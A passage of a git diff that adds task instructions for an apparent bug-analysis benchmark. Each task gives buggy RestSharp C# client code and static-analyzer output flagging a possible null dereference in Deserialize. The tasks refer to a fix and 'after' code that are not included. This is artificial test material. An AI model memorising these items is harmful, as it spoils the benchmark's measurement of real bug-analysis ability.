+ClipboradMonitor.cs|InitializeComponent|DOTNET_RESOURCE_LEAK
+
+### Hash:
+23c6a245f0fc295e282ecf418651c758
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2091/instruction.md b/inferredbugs-2091/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6b76743e888a49ec8b16e6e999588976a9c68217
--- /dev/null
+++ b/inferredbugs-2091/instruction.md
@@ -0,0 +1,556 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RestSharp
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+#region License
+//   Copyright 2010 John Sheehan
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License. 
+#endregion
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Reflection;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using RestSharp.Deserializers;
+using RestSharp.Extensions;
+
+namespace RestSharp
+{
+	/// <summary>
+	/// Client to translate RestRequests into Http requests and process response result
+	/// </summary>
+	public partial class RestClient : IRestClient
+	{
+		// silverlight friendly way to get current version
+		static readonly Version version = new AssemblyName(Assembly.GetExecutingAssembly().FullName).Version;
+
+		public IHttpFactory HttpFactory = new SimpleFactory<Http>();
+
+		/// <summary>
+		/// Default constructor that registers default content handlers
+		/// </summary>
+		public RestClient()
+		{
+#if WINDOWS_PHONE
+			UseSynchronizationContext = true;
+#endif
+			ContentHandlers = new Dictionary<string, IDeserializer>();
+			AcceptTypes = new List<string>();
+			DefaultParameters = new List<Parameter>();
+
+			// register default handlers
+			AddHandler("application/json", new JsonDeserializer());
+			AddHandler("application/xml", new XmlDeserializer());
+			AddHandler("text/json", new JsonDeserializer());
+			AddHandler("text/x-json", new JsonDeserializer());
+			AddHandler("text/javascript", new JsonDeserializer());
+			AddHandler("text/xml", new XmlDeserializer());
+			AddHandler("*", new XmlDeserializer());
+
+			FollowRedirects = true;
+		}
+
+		/// <summary>
+		/// Sets the BaseUrl property for requests made by this client instance
+		/// </summary>
+		/// <param name="baseUrl"></param>
+		public RestClient(string baseUrl)
+			: this()
+		{
+			BaseUrl = baseUrl;
+		}
+
+		private IDictionary<string, IDeserializer> ContentHandlers { get; set; }
+		private IList<string> AcceptTypes { get; set; }
+
+		/// <summary>
+		/// Parameters included with every request made with this instance of RestClient
+		/// If specified in both client and request, the request wins
+		/// </summary>
+		public IList<Parameter> DefaultParameters { get; private set; }
+
+		/// <summary>
+		/// Registers a content handler to process response content
+		/// </summary>
+		/// <param name="contentType">MIME content type of the response content</param>
+		/// <param name="deserializer">Deserializer to use to process content</param>
+		public void AddHandler(string contentType, IDeserializer deserializer)
+		{
+			ContentHandlers[contentType] = deserializer;
+			if (contentType != "*")
+			{
+				AcceptTypes.Add(contentType);
+				// add Accept header based on registered deserializers
+				var accepts = string.Join(", ", AcceptTypes.ToArray());
+				this.RemoveDefaultParameter("Accept");
+				this.AddDefaultParameter("Accept", accepts, ParameterType.HttpHeader);
+			}
+		}
+
+		/// <summary>
+		/// Remove a content handler for the specified MIME content type
+		/// </summary>
+		/// <param name="contentType">MIME content type to remove</param>
+		public void RemoveHandler(string contentType)
+		{
+			ContentHandlers.Remove(contentType);
+			AcceptTypes.Remove(contentType);
+			this.RemoveDefaultParameter("Accept");
+		}
+
+		/// <summary>
+		/// Remove all content handlers
+		/// </summary>
+		public void ClearHandlers()
+		{
+			ContentHandlers.Clear();
+			AcceptTypes.Clear();
+			this.RemoveDefaultParameter("Accept");
+		}
+
+		/// <summary>
+		/// Retrieve the handler for the specified MIME content type
+		/// </summary>
+		/// <param name="contentType">MIME content type to retrieve</param>
+		/// <returns>IDeserializer instance</returns>
+		IDeserializer GetHandler(string contentType)
+		{
+			if (string.IsNullOrEmpty(contentType) && ContentHandlers.ContainsKey("*"))
+			{
+				return ContentHandlers["*"];
+			}
+
+			var semicolonIndex = contentType.IndexOf(';');
+			if (semicolonIndex > -1) contentType = contentType.Substring(0, semicolonIndex);
+			IDeserializer handler = null;
+			if (ContentHandlers.ContainsKey(contentType))
+			{
+				handler = ContentHandlers[contentType];
+			}
+			else if (ContentHandlers.ContainsKey("*"))
+			{
+				handler = ContentHandlers["*"];
+			}
+
+			return handler;
+		}
+
+		/// <summary>
+		/// Maximum number of redirects to follow if FollowRedirects is true
+		/// </summary>
+		public int? MaxRedirects { get; set; }
+
+#if FRAMEWORK
+		/// <summary>
+		/// X509CertificateCollection to be sent with request
+		/// </summary>
+		public X509CertificateCollection ClientCertificates { get; set; }
+
+		/// <summary>
+		/// Proxy to use for requests made by this client instance.
+		/// Passed on to underying WebRequest if set.
+		/// </summary>
+		public IWebProxy Proxy { get; set; }
+#endif
+
+		/// <summary>
+		/// Default is true. Determine whether or not requests that result in 
+		/// HTTP status codes of 3xx should follow returned redirect
+		/// </summary>
+		public bool FollowRedirects { get; set; }
+
+		/// <summary>
+		/// The CookieContainer used for requests made by this client instance
+		/// </summary>
+		public CookieContainer CookieContainer { get; set; }
+
+		/// <summary>
+		/// UserAgent to use for requests made by this client instance
+		/// </summary>
+		public string UserAgent { get; set; }
+
+		/// <summary>
+		/// Timeout in milliseconds to use for requests made by this client instance
+		/// </summary>
+		public int Timeout { get; set; }
+
+		/// <summary>
+		/// Whether to invoke async callbacks using the SynchronizationContext.Current captured when invoked
+		/// </summary>
+		public bool UseSynchronizationContext { get; set; }
+
+		/// <summary>
+		/// Authenticator to use for requests made by this client instance
+		/// </summary>
+		public IAuthenticator Authenticator { get; set; }
+
+		private string _baseUrl;
+		/// <summary>
+		/// Combined with Request.Resource to construct URL for request
+		/// Should include scheme and domain without trailing slash.
+		/// </summary>
+		/// <example>
+		/// client.BaseUrl = "http://example.com";
+		/// </example>
+		public virtual string BaseUrl
+		{
+			get
+			{
+				return _baseUrl;
+			}
+			set
+			{
+				_baseUrl = value;
+				if (_baseUrl != null && _baseUrl.EndsWith("/"))
+				{
+					_baseUrl = _baseUrl.Substring(0, _baseUrl.Length - 1);
+				}
+			}
+		}
+
+		private void AuthenticateIfNeeded(RestClient client, IRestRequest request)
+		{
+			if (Authenticator != null)
+			{
+				Authenticator.Authenticate(client, request);
+			}
+		}
+
+		/// <summary>
+		/// Assembles URL to call based on parameters, method and resource
+		/// </summary>
+		/// <param name="request">RestRequest to execute</param>
+		/// <returns>Assembled System.Uri</returns>
+		public Uri BuildUri(IRestRequest request)
+		{
+			var assembled = request.Resource;
+			var urlParms = request.Parameters.Where(p => p.Type == ParameterType.UrlSegment);
+			foreach (var p in urlParms)
+			{
+				assembled = assembled.Replace("{" + p.Name + "}", p.Value.ToString().UrlEncode());
+			}
+
+			if (!string.IsNullOrEmpty(assembled) && assembled.StartsWith("/"))
+			{
+				assembled = assembled.Substring(1);
+			}
+
+			if (!string.IsNullOrEmpty(BaseUrl))
+			{
+				if (string.IsNullOrEmpty(assembled))
+				{
+					assembled = BaseUrl;
+				}
+				else
+				{
+					assembled = string.Format("{0}/{1}", BaseUrl, assembled);
+				}
+			}
+
+			if (request.Method != Method.POST 
+					&& request.Method != Method.PUT 
+					&& request.Method != Method.PATCH)
+			{
+				// build and attach querystring if this is a get-style request
+				if (request.Parameters.Any(p => p.Type == ParameterType.GetOrPost))
+				{
+					if (assembled.EndsWith("/"))
+					{
+						assembled = assembled.Substring(0, assembled.Length - 1);
+					}
+
+					var data = EncodeParameters(request);
+					assembled = string.Format("{0}?{1}", assembled, data);
+				}
+			}
+
+			return new Uri(assembled);
+		}
+
+		private string EncodeParameters(IRestRequest request)
+		{
+			var querystring = new StringBuilder();
+			foreach (var p in request.Parameters.Where(p => p.Type == ParameterType.GetOrPost))
+			{
+				if (querystring.Length > 1)
+					querystring.Append("&");
+				querystring.AppendFormat("{0}={1}", p.Name.UrlEncode(), (p.Value.ToString()).UrlEncode());
+			}
+
+			return querystring.ToString();
+		}
+
+		private void ConfigureHttp(IRestRequest request, IHttp http)
+		{
+			http.CookieContainer = CookieContainer;
+
+			http.ResponseWriter = request.ResponseWriter;
+
+			// move RestClient.DefaultParameters into Request.Parameters
+			foreach(var p in DefaultParameters)
+			{
+				if(request.Parameters.Any(p2 => p2.Name == p.Name && p2.Type == p.Type))
+				{
+					continue;
+				}
+
+				request.AddParameter(p);
+			}
+
+			// Add Accept header based on registered deserializers if none has been set by the caller.
+			if (!request.Parameters.Any(p2 => p2.Name.ToLowerInvariant() == "accept"))
+			{
+				var accepts = string.Join(", ", AcceptTypes.ToArray());
+				request.AddParameter("Accept", accepts, ParameterType.HttpHeader);
+			}
+
+			http.Url = BuildUri(request);
+
+			var userAgent = UserAgent ?? http.UserAgent;
+			http.UserAgent = userAgent.HasValue() ? userAgent : "RestSharp " + version.ToString();
+
+			var timeout = request.Timeout > 0 ? request.Timeout : Timeout;
+			if (timeout > 0)
+			{
+				http.Timeout = timeout;
+			}
+
+#if !SILVERLIGHT
+			http.FollowRedirects = FollowRedirects;
+#endif
+#if FRAMEWORK
+			if (ClientCertificates != null)
+			{
+				http.ClientCertificates = ClientCertificates;
+			}
+
+			http.MaxRedirects = MaxRedirects;
+#endif
+
+			if(request.Credentials != null)
+			{
+				http.Credentials = request.Credentials;
+			}
+
+			var headers = from p in request.Parameters
+						  where p.Type == ParameterType.HttpHeader
+						  select new HttpHeader
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var header in headers)
+			{
+				http.Headers.Add(header);
+			}
+
+			var cookies = from p in request.Parameters
+						  where p.Type == ParameterType.Cookie
+						  select new HttpCookie
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var cookie in cookies)
+			{
+				http.Cookies.Add(cookie);
+			}
+
+			var @params = from p in request.Parameters
+						  where p.Type == ParameterType.GetOrPost
+								&& p.Value != null
+						  select new HttpParameter
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var parameter in @params)
+			{
+				http.Parameters.Add(parameter);
+			}
+
+			foreach(var file in request.Files)
+			{
+				http.Files.Add(new HttpFile { Name = file.Name, ContentType = file.ContentType, Writer = file.Writer, FileName = file.FileName, ContentLength = file.ContentLength });
+			}
+
+			var body = (from p in request.Parameters
+						where p.Type == ParameterType.RequestBody
+						select p).FirstOrDefault();
+
+			if(body != null)
+			{
+				object val = body.Value;
+				if (val is byte[])
+					http.RequestBodyBytes = (byte[])val;
+				else
+					http.RequestBody = body.Value.ToString();
+				http.RequestContentType = body.Name;
+			}
+#if FRAMEWORK
+			ConfigureProxy(http);
+#endif
+		}
+
+#if FRAMEWORK
+		private void ConfigureProxy(IHttp http)
+		{
+			if (Proxy != null)
+			{
+				http.Proxy = Proxy;
+			}
+		}
+#endif
+
+		private RestResponse ConvertToRestResponse(IRestRequest request, HttpResponse httpResponse)
+		{
+			var restResponse = new RestResponse();
+			restResponse.Content = httpResponse.Content;
+			restResponse.ContentEncoding = httpResponse.ContentEncoding;
+			restResponse.ContentLength = httpResponse.ContentLength;
+			restResponse.ContentType = httpResponse.ContentType;
+			restResponse.ErrorException = httpResponse.ErrorException;
+			restResponse.ErrorMessage = httpResponse.ErrorMessage;
+			restResponse.RawBytes = httpResponse.RawBytes;
+			restResponse.ResponseStatus = httpResponse.ResponseStatus;
+			restResponse.ResponseUri = httpResponse.ResponseUri;
+			restResponse.Server = httpResponse.Server;
+			restResponse.StatusCode = httpResponse.StatusCode;
+			restResponse.StatusDescription = httpResponse.StatusDescription;
+			restResponse.Request = request;
+
+			foreach (var header in httpResponse.Headers)
+			{
+				restResponse.Headers.Add(new Parameter { Name = header.Name, Value = header.Value, Type = ParameterType.HttpHeader });
+			}
+
+			foreach (var cookie in httpResponse.Cookies)
+			{
+				restResponse.Cookies.Add(new RestResponseCookie {
+					Comment = cookie.Comment,
+					CommentUri = cookie.CommentUri,
+					Discard = cookie.Discard,
+					Domain = cookie.Domain,
+					Expired = cookie.Expired,
+					Expires = cookie.Expires,
+					HttpOnly = cookie.HttpOnly,
+					Name = cookie.Name,
+					Path = cookie.Path,
+					Port = cookie.Port,
+					Secure = cookie.Secure,
+					TimeStamp = cookie.TimeStamp,
+					Value = cookie.Value,
+					Version = cookie.Version
+				});
+			}
+
+			return restResponse;
+		}
+
+		private IRestResponse<T> Deserialize<T>(IRestRequest request, IRestResponse raw)
+		{
+			request.OnBeforeDeserialization(raw);
+
+			IRestResponse<T> response = new RestResponse<T>();
+			try
+			{
+			    response = raw.toAsyncResponse<T>();
+				response.Request = request;
+
+				// Only attempt to deserialize if the request was successful
+				if (response.StatusCode == HttpStatusCode.OK)
+				{
+					IDeserializer handler = GetHandler(raw.ContentType);
+					handler.RootElement = request.RootElement;
+					handler.DateFormat = request.DateFormat;
+					handler.Namespace = request.XmlNamespace;
+
+					response.Data = handler.Deserialize<T>(raw);
+				}
+			}
+			catch (Exception ex)
+			{
+				response.ResponseStatus = ResponseStatus.Error;
+				response.ErrorMessage = ex.Message;
+				response.ErrorException = ex;
+			}
+
+			return response;
+		}
+	}
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `handler` last assigned on line 494 could be null and is dereferenced at line 495, column 4.
+
+### Severity:
+ERROR
+
+### Procedure:
+RestResponse`1<T> RestClient.Deserialize(IRestRequest,RestResponse)
+
+### File:
+RestSharp/RestClient.cs
+
+### Key:
+RestClient.cs|Deserialize|NULL_DEREFERENCE
+
+### Node Key:
+2236178ec05847b99a27c4d3a26e337e
+
+### Hash:
+d8a3d400cddabf0a45f8402573312304
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2096/instruction.md b/inferredbugs-2096/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1b3a02bbe39b63f9ec3c72aaae49cc54a65cfb31
--- /dev/null
+++ b/inferredbugs-2096/instruction.md
@@ -0,0 +1,558 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** RestSharp
+**Bug ID:** 12
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+#region License
+//   Copyright 2010 John Sheehan
+//
+//   Licensed under the Apache License, Version 2.0 (the "License");
+//   you may not use this file except in compliance with the License.
+//   You may obtain a copy of the License at
+//
+//     http://www.apache.org/licenses/LICENSE-2.0
+//
+//   Unless required by applicable law or agreed to in writing, software
+//   distributed under the License is distributed on an "AS IS" BASIS,
+//   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+//   See the License for the specific language governing permissions and
+//   limitations under the License. 
+#endregion
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Reflection;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using RestSharp.Deserializers;
+using RestSharp.Extensions;
+
+namespace RestSharp
+{
+	/// <summary>
+	/// Client to translate RestRequests into Http requests and process response result
+	/// </summary>
+	public partial class RestClient : IRestClient
+	{
+		// silverlight friendly way to get current version
+		static readonly Version version = new AssemblyName(Assembly.GetExecutingAssembly().FullName).Version;
+
+		public IHttpFactory HttpFactory = new SimpleFactory<Http>();
+
+		/// <summary>
+		/// Default constructor that registers default content handlers
+		/// </summary>
+		public RestClient()
+		{
+#if WINDOWS_PHONE
+			UseSynchronizationContext = true;
+#endif
+			ContentHandlers = new Dictionary<string, IDeserializer>();
+			AcceptTypes = new List<string>();
+			DefaultParameters = new List<Parameter>();
+
+			// register default handlers
+			AddHandler("application/json", new JsonDeserializer());
+			AddHandler("application/xml", new XmlDeserializer());
+			AddHandler("text/json", new JsonDeserializer());
+			AddHandler("text/x-json", new JsonDeserializer());
+			AddHandler("text/javascript", new JsonDeserializer());
+			AddHandler("text/xml", new XmlDeserializer());
+			AddHandler("*", new XmlDeserializer());
+
+			FollowRedirects = true;
+		}
+
+		/// <summary>
+		/// Sets the BaseUrl property for requests made by this client instance
+		/// </summary>
+		/// <param name="baseUrl"></param>
+		public RestClient(string baseUrl)
+			: this()
+		{
+			BaseUrl = baseUrl;
+		}
+
+		private IDictionary<string, IDeserializer> ContentHandlers { get; set; }
+		private IList<string> AcceptTypes { get; set; }
+
+		/// <summary>
+		/// Parameters included with every request made with this instance of RestClient
+		/// If specified in both client and request, the request wins
+		/// </summary>
+		public IList<Parameter> DefaultParameters { get; private set; }
+
+		/// <summary>
+		/// Registers a content handler to process response content
+		/// </summary>
+		/// <param name="contentType">MIME content type of the response content</param>
+		/// <param name="deserializer">Deserializer to use to process content</param>
+		public void AddHandler(string contentType, IDeserializer deserializer)
+		{
+			ContentHandlers[contentType] = deserializer;
+			if (contentType != "*")
+			{
+				AcceptTypes.Add(contentType);
+				// add Accept header based on registered deserializers
+				var accepts = string.Join(", ", AcceptTypes.ToArray());
+				this.RemoveDefaultParameter("Accept");
+				this.AddDefaultParameter("Accept", accepts, ParameterType.HttpHeader);
+			}
+		}
+
+		/// <summary>
+		/// Remove a content handler for the specified MIME content type
+		/// </summary>
+		/// <param name="contentType">MIME content type to remove</param>
+		public void RemoveHandler(string contentType)
+		{
+			ContentHandlers.Remove(contentType);
+			AcceptTypes.Remove(contentType);
+			this.RemoveDefaultParameter("Accept");
+		}
+
+		/// <summary>
+		/// Remove all content handlers
+		/// </summary>
+		public void ClearHandlers()
+		{
+			ContentHandlers.Clear();
+			AcceptTypes.Clear();
+			this.RemoveDefaultParameter("Accept");
+		}
+
+		/// <summary>
+		/// Retrieve the handler for the specified MIME content type
+		/// </summary>
+		/// <param name="contentType">MIME content type to retrieve</param>
+		/// <returns>IDeserializer instance</returns>
+		IDeserializer GetHandler(string contentType)
+		{
+			if (string.IsNullOrEmpty(contentType) && ContentHandlers.ContainsKey("*"))
+			{
+				return ContentHandlers["*"];
+			}
+
+			var semicolonIndex = contentType.IndexOf(';');
+			if (semicolonIndex > -1) contentType = contentType.Substring(0, semicolonIndex);
+			IDeserializer handler = null;
+			if (ContentHandlers.ContainsKey(contentType))
+			{
+				handler = ContentHandlers[contentType];
+			}
+			else if (ContentHandlers.ContainsKey("*"))
+			{
+				handler = ContentHandlers["*"];
+			}
+
+			return handler;
+		}
+
+		/// <summary>
+		/// Maximum number of redirects to follow if FollowRedirects is true
+		/// </summary>
+		public int? MaxRedirects { get; set; }
+
+#if FRAMEWORK
+		/// <summary>
+		/// X509CertificateCollection to be sent with request
+		/// </summary>
+		public X509CertificateCollection ClientCertificates { get; set; }
+
+		/// <summary>
+		/// Proxy to use for requests made by this client instance.
+		/// Passed on to underying WebRequest if set.
+		/// </summary>
+		public IWebProxy Proxy { get; set; }
+#endif
+
+		/// <summary>
+		/// Default is true. Determine whether or not requests that result in 
+		/// HTTP status codes of 3xx should follow returned redirect
+		/// </summary>
+		public bool FollowRedirects { get; set; }
+
+		/// <summary>
+		/// The CookieContainer used for requests made by this client instance
+		/// </summary>
+		public CookieContainer CookieContainer { get; set; }
+
+		/// <summary>
+		/// UserAgent to use for requests made by this client instance
+		/// </summary>
+		public string UserAgent { get; set; }
+
+		/// <summary>
+		/// Timeout in milliseconds to use for requests made by this client instance
+		/// </summary>
+		public int Timeout { get; set; }
+
+		/// <summary>
+		/// Whether to invoke async callbacks using the SynchronizationContext.Current captured when invoked
+		/// </summary>
+		public bool UseSynchronizationContext { get; set; }
+
+		/// <summary>
+		/// Authenticator to use for requests made by this client instance
+		/// </summary>
+		public IAuthenticator Authenticator { get; set; }
+
+		private string _baseUrl;
+		/// <summary>
+		/// Combined with Request.Resource to construct URL for request
+		/// Should include scheme and domain without trailing slash.
+		/// </summary>
+		/// <example>
+		/// client.BaseUrl = "http://example.com";
+		/// </example>
+		public virtual string BaseUrl
+		{
+			get
+			{
+				return _baseUrl;
+			}
+			set
+			{
+				_baseUrl = value;
+				if (_baseUrl != null && _baseUrl.EndsWith("/"))
+				{
+					_baseUrl = _baseUrl.Substring(0, _baseUrl.Length - 1);
+				}
+			}
+		}
+
+		private void AuthenticateIfNeeded(RestClient client, IRestRequest request)
+		{
+			if (Authenticator != null)
+			{
+				Authenticator.Authenticate(client, request);
+			}
+		}
+
+		/// <summary>
+		/// Assembles URL to call based on parameters, method and resource
+		/// </summary>
+		/// <param name="request">RestRequest to execute</param>
+		/// <returns>Assembled System.Uri</returns>
+		public Uri BuildUri(IRestRequest request)
+		{
+			var assembled = request.Resource;
+			var urlParms = request.Parameters.Where(p => p.Type == ParameterType.UrlSegment);
+			foreach (var p in urlParms)
+			{
+				assembled = assembled.Replace("{" + p.Name + "}", p.Value.ToString().UrlEncode());
+			}
+
+			if (!string.IsNullOrEmpty(assembled) && assembled.StartsWith("/"))
+			{
+				assembled = assembled.Substring(1);
+			}
+
+			if (!string.IsNullOrEmpty(BaseUrl))
+			{
+				if (string.IsNullOrEmpty(assembled))
+				{
+					assembled = BaseUrl;
+				}
+				else
+				{
+					assembled = string.Format("{0}/{1}", BaseUrl, assembled);
+				}
+			}
+
+			if (request.Method != Method.POST 
+					&& request.Method != Method.PUT 
+					&& request.Method != Method.PATCH)
+			{
+				// build and attach querystring if this is a get-style request
+				if (request.Parameters.Any(p => p.Type == ParameterType.GetOrPost))
+				{
+					if (assembled.EndsWith("/"))
+					{
+						assembled = assembled.Substring(0, assembled.Length - 1);
+					}
+
+					var data = EncodeParameters(request);
+					assembled = string.Format("{0}?{1}", assembled, data);
+				}
+			}
+
+			return new Uri(assembled);
+		}
+
+		private string EncodeParameters(IRestRequest request)
+		{
+			var querystring = new StringBuilder();
+			foreach (var p in request.Parameters.Where(p => p.Type == ParameterType.GetOrPost))
+			{
+				if (querystring.Length > 1)
+					querystring.Append("&");
+				querystring.AppendFormat("{0}={1}", p.Name.UrlEncode(), (p.Value.ToString()).UrlEncode());
+			}
+
+			return querystring.ToString();
+		}
+
+		private void ConfigureHttp(IRestRequest request, IHttp http)
+		{
+			http.CookieContainer = CookieContainer;
+
+			http.ResponseWriter = request.ResponseWriter;
+
+			// move RestClient.DefaultParameters into Request.Parameters
+			foreach(var p in DefaultParameters)
+			{
+				if(request.Parameters.Any(p2 => p2.Name == p.Name && p2.Type == p.Type))
+				{
+					continue;
+				}
+
+				request.AddParameter(p);
+			}
+
+			// Add Accept header based on registered deserializers if none has been set by the caller.
+			if (!request.Parameters.Any(p2 => p2.Name.ToLowerInvariant() == "accept"))
+			{
+				var accepts = string.Join(", ", AcceptTypes.ToArray());
+				request.AddParameter("Accept", accepts, ParameterType.HttpHeader);
+			}
+
+			http.Url = BuildUri(request);
+
+			var userAgent = UserAgent ?? http.UserAgent;
+			http.UserAgent = userAgent.HasValue() ? userAgent : "RestSharp " + version.ToString();
+
+			var timeout = request.Timeout > 0 ? request.Timeout : Timeout;
+			if (timeout > 0)
+			{
+				http.Timeout = timeout;
+			}
+
+#if !SILVERLIGHT
+			http.FollowRedirects = FollowRedirects;
+#endif
+#if FRAMEWORK
+			if (ClientCertificates != null)
+			{
+				http.ClientCertificates = ClientCertificates;
+			}
+
+			http.MaxRedirects = MaxRedirects;
+#endif
+
+			if(request.Credentials != null)
+			{
+				http.Credentials = request.Credentials;
+			}
+
+			var headers = from p in request.Parameters
+						  where p.Type == ParameterType.HttpHeader
+						  select new HttpHeader
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var header in headers)
+			{
+				http.Headers.Add(header);
+			}
+
+			var cookies = from p in request.Parameters
+						  where p.Type == ParameterType.Cookie
+						  select new HttpCookie
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var cookie in cookies)
+			{
+				http.Cookies.Add(cookie);
+			}
+
+			var @params = from p in request.Parameters
+						  where p.Type == ParameterType.GetOrPost
+								&& p.Value != null
+						  select new HttpParameter
+						  {
+							  Name = p.Name,
+							  Value = p.Value.ToString()
+						  };
+
+			foreach(var parameter in @params)
+			{
+				http.Parameters.Add(parameter);
+			}
+
+			foreach(var file in request.Files)
+			{
+				http.Files.Add(new HttpFile { Name = file.Name, ContentType = file.ContentType, Writer = file.Writer, FileName = file.FileName, ContentLength = file.ContentLength });
+			}
+
+			var body = (from p in request.Parameters
+						where p.Type == ParameterType.RequestBody
+						select p).FirstOrDefault();
+
+			if(body != null)
+			{
+				object val = body.Value;
+				if (val is byte[])
+					http.RequestBodyBytes = (byte[])val;
+				else
+					http.RequestBody = body.Value.ToString();
+				http.RequestContentType = body.Name;
+			}
+#if FRAMEWORK
+			ConfigureProxy(http);
+#endif
+		}
+
+#if FRAMEWORK
+		private void ConfigureProxy(IHttp http)
+		{
+			if (Proxy != null)
+			{
+				http.Proxy = Proxy;
+			}
+		}
+#endif
+
+		private RestResponse ConvertToRestResponse(IRestRequest request, HttpResponse httpResponse)
+		{
+			var restResponse = new RestResponse();
+			restResponse.Content = httpResponse.Content;
+			restResponse.ContentEncoding = httpResponse.ContentEncoding;
+			restResponse.ContentLength = httpResponse.ContentLength;
+			restResponse.ContentType = httpResponse.ContentType;
+			restResponse.ErrorException = httpResponse.ErrorException;
+			restResponse.ErrorMessage = httpResponse.ErrorMessage;
+			restResponse.RawBytes = httpResponse.RawBytes;
+			restResponse.ResponseStatus = httpResponse.ResponseStatus;
+			restResponse.ResponseUri = httpResponse.ResponseUri;
+			restResponse.Server = httpResponse.Server;
+			restResponse.StatusCode = httpResponse.StatusCode;
+			restResponse.StatusDescription = httpResponse.StatusDescription;
+			restResponse.Request = request;
+
+			foreach (var header in httpResponse.Headers)
+			{
+				restResponse.Headers.Add(new Parameter { Name = header.Name, Value = header.Value, Type = ParameterType.HttpHeader });
+			}
+
+			foreach (var cookie in httpResponse.Cookies)
+			{
+				restResponse.Cookies.Add(new RestResponseCookie {
+					Comment = cookie.Comment,
+					CommentUri = cookie.CommentUri,
+					Discard = cookie.Discard,
+					Domain = cookie.Domain,
+					Expired = cookie.Expired,
+					Expires = cookie.Expires,
+					HttpOnly = cookie.HttpOnly,
+					Name = cookie.Name,
+					Path = cookie.Path,
+					Port = cookie.Port,
+					Secure = cookie.Secure,
+					TimeStamp = cookie.TimeStamp,
+					Value = cookie.Value,
+					Version = cookie.Version
+				});
+			}
+
+			return restResponse;
+		}
+
+		private IRestResponse<T> Deserialize<T>(IRestRequest request, IRestResponse raw)
+		{
+			request.OnBeforeDeserialization(raw);
+
+			IRestResponse<T> response = new RestResponse<T>();
+			try
+			{
+			    response = raw.toAsyncResponse<T>();
+				response.Request = request;
+
+				// Only attempt to deserialize if the request has a chance of containing a valid entry
+				if (response.StatusCode == HttpStatusCode.OK 
+					|| response.StatusCode == HttpStatusCode.Created 
+					|| response.StatusCode == HttpStatusCode.NonAuthoritativeInformation)
+				{
+					IDeserializer handler = GetHandler(raw.ContentType);
+					handler.RootElement = request.RootElement;
+					handler.DateFormat = request.DateFormat;
+					handler.Namespace = request.XmlNamespace;
+
+					response.Data = handler.Deserialize<T>(raw);
+				}
+			}
+			catch (Exception ex)
+			{
+				response.ResponseStatus = ResponseStatus.Error;
+				response.ErrorMessage = ex.Message;
+				response.ErrorException = ex;
+			}
+
+			return response;
+		}
+	}
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `handler` last assigned on line 494 could be null and is dereferenced at line 495, column 4.
+
+### Severity:
+ERROR
+
+### Procedure:
+RestResponse`1<T> RestClient.Deserialize(IRestRequest,RestResponse)
+
+### File:
+RestSharp/RestClient.cs
+
+### Key:
+RestClient.cs|Deserialize|NULL_DEREFERENCE
+
+### Node Key:
+2236178ec05847b99a27c4d3a26e337e
+
+### Hash:
+d8a3d400cddabf0a45f8402573312304
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
